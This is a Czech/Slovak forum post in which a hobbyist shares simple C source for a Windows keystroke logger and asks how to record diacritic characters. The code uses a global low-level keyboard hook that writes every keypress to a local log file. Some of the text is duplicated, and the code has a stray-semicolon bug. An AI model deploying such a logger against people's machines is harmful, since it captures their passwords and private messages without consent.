Jednoduchy zaznamenávač stlačených klávesv v C Vyřešeno
Napsal: 08 čer 2019 20:55
Ahojte v rámci voľného času si robím zaznamenávač stlačených kláves.
Len neviem ako mám spraviť aby zaznamenával aj slovenske prípadne české znaky napríklad ked stlačím "č" tak mi napíše 4 (lebo sú na rovnakej klávese)
môj kód
Za každú radu budem vďačný.
Len neviem ako mám spraviť aby zaznamenával aj slovenske prípadne české znaky napríklad ked stlačím "č" tak mi napíše 4 (lebo sú na rovnakej klávese)
môj kód
Kód: Vybrat vše
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
HHOOK _hook;
FILE *LOG;
KBDLLHOOKSTRUCT kbdStruct;
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0)
{
if (wParam == WM_KEYDOWN)
{
kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
if (kbdStruct.vkCode != 0);
{
switch (kbdStruct.vkCode)
{
case VK_ESCAPE:
fprintf(LOG, "[ESC]");
break;
default:
fprintf(LOG, "%c", kbdStruct.vkCode);
break;
}
fflush(LOG);
}
}
}
return CallNextHookEx(_hook, nCode, wParam, lParam);
}
void SetHook()
{
_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);
}
void main()
{
LOG = fopen("log.txt", "a+" );
SetHook();
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
}
fclose(LOG);
}
Za každú radu budem vďačný.